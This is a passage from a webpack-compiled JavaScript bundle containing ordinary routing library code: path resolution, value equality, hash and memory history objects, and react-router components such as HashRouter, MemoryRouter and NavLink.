  for (var i = index, k = i + 1, n = list.length; k < n; i += 1, k += 1) {
    list[i] = list[k];
  }

  list.pop();
}

// This implementation is based heavily on node's url.parse
function resolvePathname(to) {
  var from = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : '';

  var toParts = to && to.split('/') || [];
  var fromParts = from && from.split('/') || [];

  var isToAbs = to && isAbsolute(to);
  var isFromAbs = from && isAbsolute(from);
  var mustEndAbs = isToAbs || isFromAbs;

  if (to && isAbsolute(to)) {
    // to is absolute
    fromParts = toParts;
  } else if (toParts.length) {
    // to is relative, drop the filename
    fromParts.pop();
    fromParts = fromParts.concat(toParts);
  }

  if (!fromParts.length) return '/';

  var hasTrailingSlash = void 0;
  if (fromParts.length) {
    var last = fromParts[fromParts.length - 1];
    hasTrailingSlash = last === '.' || last === '..' || last === '';
  } else {
    hasTrailingSlash = false;
  }

  var up = 0;
  for (var i = fromParts.length; i >= 0; i--) {
    var part = fromParts[i];

    if (part === '.') {
      spliceOne(fromParts, i);
    } else if (part === '..') {
      spliceOne(fromParts, i);
      up++;
    } else if (up) {
      spliceOne(fromParts, i);
      up--;
    }
  }

  if (!mustEndAbs) for (; up--; up) {
    fromParts.unshift('..');
  }if (mustEndAbs && fromParts[0] !== '' && (!fromParts[0] || !isAbsolute(fromParts[0]))) fromParts.unshift('');

  var result = fromParts.join('/');

  if (hasTrailingSlash && result.substr(-1) !== '/') result += '/';

  return result;
}

/* harmony default export */ __webpack_exports__["a"] = (resolvePathname);

/***/ }),
/* 142 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };

function valueEqual(a, b) {
  if (a === b) return true;

  if (a == null || b == null) return false;

  if (Array.isArray(a)) {
    return Array.isArray(b) && a.length === b.length && a.every(function (item, index) {
      return valueEqual(item, b[index]);
    });
  }

  var aType = typeof a === 'undefined' ? 'undefined' : _typeof(a);
  var bType = typeof b === 'undefined' ? 'undefined' : _typeof(b);

  if (aType !== bType) return false;

  if (aType === 'object') {
    var aValue = a.valueOf();
    var bValue = b.valueOf();

    if (aValue !== a || bValue !== b) return valueEqual(aValue, bValue);

    var aKeys = Object.keys(a);
    var bKeys = Object.keys(b);

    if (aKeys.length !== bKeys.length) return false;

    return aKeys.every(function (key) {
      return valueEqual(a[key], b[key]);
    });
  }

  return false;
}

/* harmony default export */ __webpack_exports__["a"] = (valueEqual);

/***/ }),
/* 143 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning__ = __webpack_require__(33);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_warning__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant__ = __webpack_require__(15);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_invariant__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__LocationUtils__ = __webpack_require__(34);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__PathUtils__ = __webpack_require__(28);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__createTransitionManager__ = __webpack_require__(46);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_5__DOMUtils__ = __webpack_require__(74);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };








var HashChangeEvent = 'hashchange';

var HashPathCoders = {
  hashbang: {
    encodePath: function encodePath(path) {
      return path.charAt(0) === '!' ? path : '!/' + Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["f" /* stripLeadingSlash */])(path);
    },
    decodePath: function decodePath(path) {
      return path.charAt(0) === '!' ? path.substr(1) : path;
    }
  },
  noslash: {
    encodePath: __WEBPACK_IMPORTED_MODULE_3__PathUtils__["f" /* stripLeadingSlash */],
    decodePath: __WEBPACK_IMPORTED_MODULE_3__PathUtils__["a" /* addLeadingSlash */]
  },
  slash: {
    encodePath: __WEBPACK_IMPORTED_MODULE_3__PathUtils__["a" /* addLeadingSlash */],
    decodePath: __WEBPACK_IMPORTED_MODULE_3__PathUtils__["a" /* addLeadingSlash */]
  }
};

var getHashPath = function getHashPath() {
  // We can't use window.location.hash here because it's not
  // consistent across browsers - Firefox will pre-decode it!
  var href = window.location.href;
  var hashIndex = href.indexOf('#');
  return hashIndex === -1 ? '' : href.substring(hashIndex + 1);
};

var pushHashPath = function pushHashPath(path) {
  return window.location.hash = path;
};

var replaceHashPath = function replaceHashPath(path) {
  var hashIndex = window.location.href.indexOf('#');

  window.location.replace(window.location.href.slice(0, hashIndex >= 0 ? hashIndex : 0) + '#' + path);
};

var createHashHistory = function createHashHistory() {
  var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};

  __WEBPACK_IMPORTED_MODULE_1_invariant___default()(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["b" /* canUseDOM */], 'Hash history needs a DOM');

  var globalHistory = window.history;
  var canGoWithoutReload = Object(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["f" /* supportsGoWithoutReloadUsingHash */])();

  var _props$getUserConfirm = props.getUserConfirmation,
      getUserConfirmation = _props$getUserConfirm === undefined ? __WEBPACK_IMPORTED_MODULE_5__DOMUtils__["c" /* getConfirmation */] : _props$getUserConfirm,
      _props$hashType = props.hashType,
      hashType = _props$hashType === undefined ? 'slash' : _props$hashType;

  var basename = props.basename ? Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["g" /* stripTrailingSlash */])(Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["a" /* addLeadingSlash */])(props.basename)) : '';

  var _HashPathCoders$hashT = HashPathCoders[hashType],
      encodePath = _HashPathCoders$hashT.encodePath,
      decodePath = _HashPathCoders$hashT.decodePath;


  var getDOMLocation = function getDOMLocation() {
    var path = decodePath(getHashPath());

    __WEBPACK_IMPORTED_MODULE_0_warning___default()(!basename || Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["c" /* hasBasename */])(path, basename), 'You are attempting to use a basename on a page whose URL path does not begin ' + 'with the basename. Expected path "' + path + '" to begin with "' + basename + '".');

    if (basename) path = Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["e" /* stripBasename */])(path, basename);

    return Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["a" /* createLocation */])(path);
  };

  var transitionManager = Object(__WEBPACK_IMPORTED_MODULE_4__createTransitionManager__["a" /* default */])();

  var setState = function setState(nextState) {
    _extends(history, nextState);

    history.length = globalHistory.length;

    transitionManager.notifyListeners(history.location, history.action);
  };

  var forceNextPop = false;
  var ignorePath = null;

  var handleHashChange = function handleHashChange() {
    var path = getHashPath();
    var encodedPath = encodePath(path);

    if (path !== encodedPath) {
      // Ensure we always have a properly-encoded hash.
      replaceHashPath(encodedPath);
    } else {
      var location = getDOMLocation();
      var prevLocation = history.location;

      if (!forceNextPop && Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["b" /* locationsAreEqual */])(prevLocation, location)) return; // A hashchange doesn't always == location change.

      if (ignorePath === Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["b" /* createPath */])(location)) return; // Ignore this change; we already setState in push/replace.

      ignorePath = null;

      handlePop(location);
    }
  };

  var handlePop = function handlePop(location) {
    if (forceNextPop) {
      forceNextPop = false;
      setState();
    } else {
      var action = 'POP';

      transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {
        if (ok) {
          setState({ action: action, location: location });
        } else {
          revertPop(location);
        }
      });
    }
  };

  var revertPop = function revertPop(fromLocation) {
    var toLocation = history.location;

    // TODO: We could probably make this more reliable by
    // keeping a list of paths we've seen in sessionStorage.
    // Instead, we just default to 0 for paths we don't know.

    var toIndex = allPaths.lastIndexOf(Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["b" /* createPath */])(toLocation));

    if (toIndex === -1) toIndex = 0;

    var fromIndex = allPaths.lastIndexOf(Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["b" /* createPath */])(fromLocation));

    if (fromIndex === -1) fromIndex = 0;

    var delta = toIndex - fromIndex;

    if (delta) {
      forceNextPop = true;
      go(delta);
    }
  };

  // Ensure the hash is encoded properly before doing anything else.
  var path = getHashPath();
  var encodedPath = encodePath(path);

  if (path !== encodedPath) replaceHashPath(encodedPath);

  var initialLocation = getDOMLocation();
  var allPaths = [Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["b" /* createPath */])(initialLocation)];

  // Public interface

  var createHref = function createHref(location) {
    return '#' + encodePath(basename + Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["b" /* createPath */])(location));
  };

  var push = function push(path, state) {
    __WEBPACK_IMPORTED_MODULE_0_warning___default()(state === undefined, 'Hash history cannot push state; it is ignored');

    var action = 'PUSH';
    var location = Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["a" /* createLocation */])(path, undefined, undefined, history.location);

    transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {
      if (!ok) return;

      var path = Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["b" /* createPath */])(location);
      var encodedPath = encodePath(basename + path);
      var hashChanged = getHashPath() !== encodedPath;

      if (hashChanged) {
        // We cannot tell if a hashchange was caused by a PUSH, so we'd
        // rather setState here and ignore the hashchange. The caveat here
        // is that other hash histories in the page will consider it a POP.
        ignorePath = path;
        pushHashPath(encodedPath);

        var prevIndex = allPaths.lastIndexOf(Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["b" /* createPath */])(history.location));
        var nextPaths = allPaths.slice(0, prevIndex === -1 ? 0 : prevIndex + 1);

        nextPaths.push(path);
        allPaths = nextPaths;

        setState({ action: action, location: location });
      } else {
        __WEBPACK_IMPORTED_MODULE_0_warning___default()(false, 'Hash history cannot PUSH the same path; a new entry will not be added to the history stack');

        setState();
      }
    });
  };

  var replace = function replace(path, state) {
    __WEBPACK_IMPORTED_MODULE_0_warning___default()(state === undefined, 'Hash history cannot replace state; it is ignored');

    var action = 'REPLACE';
    var location = Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["a" /* createLocation */])(path, undefined, undefined, history.location);

    transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {
      if (!ok) return;

      var path = Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["b" /* createPath */])(location);
      var encodedPath = encodePath(basename + path);
      var hashChanged = getHashPath() !== encodedPath;

      if (hashChanged) {
        // We cannot tell if a hashchange was caused by a REPLACE, so we'd
        // rather setState here and ignore the hashchange. The caveat here
        // is that other hash histories in the page will consider it a POP.
        ignorePath = path;
        replaceHashPath(encodedPath);
      }

      var prevIndex = allPaths.indexOf(Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["b" /* createPath */])(history.location));

      if (prevIndex !== -1) allPaths[prevIndex] = path;

      setState({ action: action, location: location });
    });
  };

  var go = function go(n) {
    __WEBPACK_IMPORTED_MODULE_0_warning___default()(canGoWithoutReload, 'Hash history go(n) causes a full page reload in this browser');

    globalHistory.go(n);
  };

  var goBack = function goBack() {
    return go(-1);
  };

  var goForward = function goForward() {
    return go(1);
  };

  var listenerCount = 0;

  var checkDOMListeners = function checkDOMListeners(delta) {
    listenerCount += delta;

    if (listenerCount === 1) {
      Object(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["a" /* addEventListener */])(window, HashChangeEvent, handleHashChange);
    } else if (listenerCount === 0) {
      Object(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["e" /* removeEventListener */])(window, HashChangeEvent, handleHashChange);
    }
  };

  var isBlocked = false;

  var block = function block() {
    var prompt = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;

    var unblock = transitionManager.setPrompt(prompt);

    if (!isBlocked) {
      checkDOMListeners(1);
      isBlocked = true;
    }

    return function () {
      if (isBlocked) {
        isBlocked = false;
        checkDOMListeners(-1);
      }

      return unblock();
    };
  };

  var listen = function listen(listener) {
    var unlisten = transitionManager.appendListener(listener);
    checkDOMListeners(1);

    return function () {
      checkDOMListeners(-1);
      unlisten();
    };
  };

  var history = {
    length: globalHistory.length,
    action: 'POP',
    location: initialLocation,
    createHref: createHref,
    push: push,
    replace: replace,
    go: go,
    goBack: goBack,
    goForward: goForward,
    block: block,
    listen: listen
  };

  return history;
};

/* harmony default export */ __webpack_exports__["a"] = (createHashHistory);

/***/ }),
/* 144 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning__ = __webpack_require__(33);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_warning__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__PathUtils__ = __webpack_require__(28);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__LocationUtils__ = __webpack_require__(34);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__createTransitionManager__ = __webpack_require__(46);
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };






var clamp = function clamp(n, lowerBound, upperBound) {
  return Math.min(Math.max(n, lowerBound), upperBound);
};

/**
 * Creates a history object that stores locations in memory.
 */
var createMemoryHistory = function createMemoryHistory() {
  var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
  var getUserConfirmation = props.getUserConfirmation,
      _props$initialEntries = props.initialEntries,
      initialEntries = _props$initialEntries === undefined ? ['/'] : _props$initialEntries,
      _props$initialIndex = props.initialIndex,
      initialIndex = _props$initialIndex === undefined ? 0 : _props$initialIndex,
      _props$keyLength = props.keyLength,
      keyLength = _props$keyLength === undefined ? 6 : _props$keyLength;


  var transitionManager = Object(__WEBPACK_IMPORTED_MODULE_3__createTransitionManager__["a" /* default */])();

  var setState = function setState(nextState) {
    _extends(history, nextState);

    history.length = history.entries.length;

    transitionManager.notifyListeners(history.location, history.action);
  };

  var createKey = function createKey() {
    return Math.random().toString(36).substr(2, keyLength);
  };

  var index = clamp(initialIndex, 0, initialEntries.length - 1);
  var entries = initialEntries.map(function (entry) {
    return typeof entry === 'string' ? Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["a" /* createLocation */])(entry, undefined, createKey()) : Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["a" /* createLocation */])(entry, undefined, entry.key || createKey());
  });

  // Public interface

  var createHref = __WEBPACK_IMPORTED_MODULE_1__PathUtils__["b" /* createPath */];

  var push = function push(path, state) {
    __WEBPACK_IMPORTED_MODULE_0_warning___default()(!((typeof path === 'undefined' ? 'undefined' : _typeof(path)) === 'object' && path.state !== undefined && state !== undefined), 'You should avoid providing a 2nd state argument to push when the 1st ' + 'argument is a location-like object that already has state; it is ignored');

    var action = 'PUSH';
    var location = Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["a" /* createLocation */])(path, state, createKey(), history.location);

    transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {
      if (!ok) return;

      var prevIndex = history.index;
      var nextIndex = prevIndex + 1;

      var nextEntries = history.entries.slice(0);
      if (nextEntries.length > nextIndex) {
        nextEntries.splice(nextIndex, nextEntries.length - nextIndex, location);
      } else {
        nextEntries.push(location);
      }

      setState({
        action: action,
        location: location,
        index: nextIndex,
        entries: nextEntries
      });
    });
  };

  var replace = function replace(path, state) {
    __WEBPACK_IMPORTED_MODULE_0_warning___default()(!((typeof path === 'undefined' ? 'undefined' : _typeof(path)) === 'object' && path.state !== undefined && state !== undefined), 'You should avoid providing a 2nd state argument to replace when the 1st ' + 'argument is a location-like object that already has state; it is ignored');

    var action = 'REPLACE';
    var location = Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["a" /* createLocation */])(path, state, createKey(), history.location);

    transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {
      if (!ok) return;

      history.entries[history.index] = location;

      setState({ action: action, location: location });
    });
  };

  var go = function go(n) {
    var nextIndex = clamp(history.index + n, 0, history.entries.length - 1);

    var action = 'POP';
    var location = history.entries[nextIndex];

    transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {
      if (ok) {
        setState({
          action: action,
          location: location,
          index: nextIndex
        });
      } else {
        // Mimic the behavior of DOM histories by
        // causing a render after a cancelled POP.
        setState();
      }
    });
  };

  var goBack = function goBack() {
    return go(-1);
  };

  var goForward = function goForward() {
    return go(1);
  };

  var canGo = function canGo(n) {
    var nextIndex = history.index + n;
    return nextIndex >= 0 && nextIndex < history.entries.length;
  };

  var block = function block() {
    var prompt = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
    return transitionManager.setPrompt(prompt);
  };

  var listen = function listen(listener) {
    return transitionManager.appendListener(listener);
  };

  var history = {
    length: entries.length,
    action: 'POP',
    location: entries[index],
    index: index,
    entries: entries,
    createHref: createHref,
    push: push,
    replace: replace,
    go: go,
    goBack: goBack,
    goForward: goForward,
    canGo: canGo,
    block: block,
    listen: listen
  };

  return history;
};

/* harmony default export */ __webpack_exports__["a"] = (createMemoryHistory);

/***/ }),
/* 145 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning__ = __webpack_require__(19);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_warning__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_prop_types__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_history__ = __webpack_require__(24);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__Router__ = __webpack_require__(47);
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }







/**
 * The public API for a <Router> that uses window.location.hash.
 */

var HashRouter = function (_React$Component) {
  _inherits(HashRouter, _React$Component);

  function HashRouter() {
    var _temp, _this, _ret;

    _classCallCheck(this, HashRouter);

    for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    return _ret = (_temp = (_this = _possibleConstructorReturn(this, _React$Component.call.apply(_React$Component, [this].concat(args))), _this), _this.history = Object(__WEBPACK_IMPORTED_MODULE_3_history__["b" /* createHashHistory */])(_this.props), _temp), _possibleConstructorReturn(_this, _ret);
  }

  HashRouter.prototype.componentWillMount = function componentWillMount() {
    __WEBPACK_IMPORTED_MODULE_0_warning___default()(!this.props.history, "<HashRouter> ignores the history prop. To use a custom history, " + "use `import { Router }` instead of `import { HashRouter as Router }`.");
  };

  HashRouter.prototype.render = function render() {
    return __WEBPACK_IMPORTED_MODULE_1_react___default.a.createElement(__WEBPACK_IMPORTED_MODULE_4__Router__["a" /* default */], { history: this.history, children: this.props.children });
  };

  return HashRouter;
}(__WEBPACK_IMPORTED_MODULE_1_react___default.a.Component);

HashRouter.propTypes = {
  basename: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.string,
  getUserConfirmation: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.func,
  hashType: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.oneOf(["hashbang", "noslash", "slash"]),
  children: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.node
};


/* harmony default export */ __webpack_exports__["a"] = (HashRouter);

/***/ }),
/* 146 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react_router_es_MemoryRouter__ = __webpack_require__(147);
// Written in this round about way for babel-transform-imports


/* harmony default export */ __webpack_exports__["a"] = (__WEBPACK_IMPORTED_MODULE_0_react_router_es_MemoryRouter__["a" /* default */]);

/***/ }),
/* 147 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning__ = __webpack_require__(19);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_warning__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_prop_types__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_history__ = __webpack_require__(24);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__Router__ = __webpack_require__(48);
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }







/**
 * The public API for a <Router> that stores location in memory.
 */

var MemoryRouter = function (_React$Component) {
  _inherits(MemoryRouter, _React$Component);

  function MemoryRouter() {
    var _temp, _this, _ret;

    _classCallCheck(this, MemoryRouter);

    for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    return _ret = (_temp = (_this = _possibleConstructorReturn(this, _React$Component.call.apply(_React$Component, [this].concat(args))), _this), _this.history = Object(__WEBPACK_IMPORTED_MODULE_3_history__["d" /* createMemoryHistory */])(_this.props), _temp), _possibleConstructorReturn(_this, _ret);
  }

  MemoryRouter.prototype.componentWillMount = function componentWillMount() {
    __WEBPACK_IMPORTED_MODULE_0_warning___default()(!this.props.history, "<MemoryRouter> ignores the history prop. To use a custom history, " + "use `import { Router }` instead of `import { MemoryRouter as Router }`.");
  };

  MemoryRouter.prototype.render = function render() {
    return __WEBPACK_IMPORTED_MODULE_1_react___default.a.createElement(__WEBPACK_IMPORTED_MODULE_4__Router__["a" /* default */], { history: this.history, children: this.props.children });
  };

  return MemoryRouter;
}(__WEBPACK_IMPORTED_MODULE_1_react___default.a.Component);

MemoryRouter.propTypes = {
  initialEntries: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.array,
  initialIndex: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.number,
  getUserConfirmation: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.func,
  keyLength: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.number,
  children: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.node
};


/* harmony default export */ __webpack_exports__["a"] = (MemoryRouter);

/***/ }),
/* 148 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_prop_types__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__Route__ = __webpack_require__(76);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__Link__ = __webpack_require__(75);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };

function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }






/**
 * A <Link> wrapper that knows if it's "active" or not.
 */
var NavLink = function NavLink(_ref) {
  var to = _ref.to,
      exact = _ref.exact,
      strict = _ref.strict,
      location = _ref.location,
      activeClassName = _ref.activeClassName,
      className = _ref.className,
      activeStyle = _ref.activeStyle,
      style = _ref.style,
      getIsActive = _ref.isActive,
      ariaCurrent = _ref["aria-current"],
      rest = _objectWithoutProperties(_ref, ["to", "exact", "strict", "location", "activeClassName", "className", "activeStyle", "style", "isActive", "aria-current"]);

  var path = (typeof to === "undefined" ? "undefined" : _typeof(to)) === "object" ? to.pathname : to;

  // Regex taken from: https://github.com/pillarjs/path-to-regexp/blob/master/index.js#L202
  var escapedPath = path && path.replace(/([.+*?=^!:${}()[\]|/\\])/g, "\\$1");

  return __WEBPACK_IMPORTED_MODULE_0_react___default.a.createElement(__WEBPACK_IMPORTED_MODULE_2__Route__["a" /* default */], {
    path: escapedPath,
    exact: exact,
    strict: strict,
    location: location,
    children: function children(_ref2) {
      var location = _ref2.location,
          match = _ref2.match;

      var isActive = !!(getIsActive ? getIsActive(match, location) : match);

      return __WEBPACK_IMPORTED_MODULE_0_react___default.a.createElement(__WEBPACK_IMPORTED_MODULE_3__Link__["a" /* default */], _extends({
        to: to,
        className: isActive ? [className, activeClassName].filter(function (i) {
          return i;
        }).join(" ") : className,
        style: isActive ? _extends({}, style, activeStyle) : style,
        "aria-current": isActive && ariaCurrent || null
      }, rest));
    }
  });
};

NavLink.propTypes = {
  to: __WEBPACK_IMPORTED_MODULE_3__Link__["a" /* default */].propTypes.to,
  exact: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.bool,
  strict: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.bool,
  location: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.object,
  activeClassName: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.string,
  className: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.string,
  activeStyle: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.object,
  style: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.object,
  isActive: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.func,
  "aria-current": __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.oneOf(["page", "step", "location", "date", "time", "true"])
};

NavLink.defaultProps = {
  activeClassName: "active",
  "aria-current": "page"
};

/* harmony default export */ __webpack_exports__["a"] = (NavLink);

/***/ }),
/* 149 */
/***/ (function(module, exports) {

module.exports = Array.isArray || function (arr) {
  return Object.prototype.toString.call(arr) == '[object Array]';
};


/***/ }),
/* 150 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react_router_es_Prompt__ = __webpack_require__(151);
// Written in this round about way for babel-transform-imports


/* harmony default export */ __webpack_exports__["a"] = (__WEBPACK_IMPORTED_MODULE_0_react_router_es_Prompt__["a" /* default */]);

/***/ }),
/* 151 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_prop_types__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_invariant__ = __webpack_require__(15);
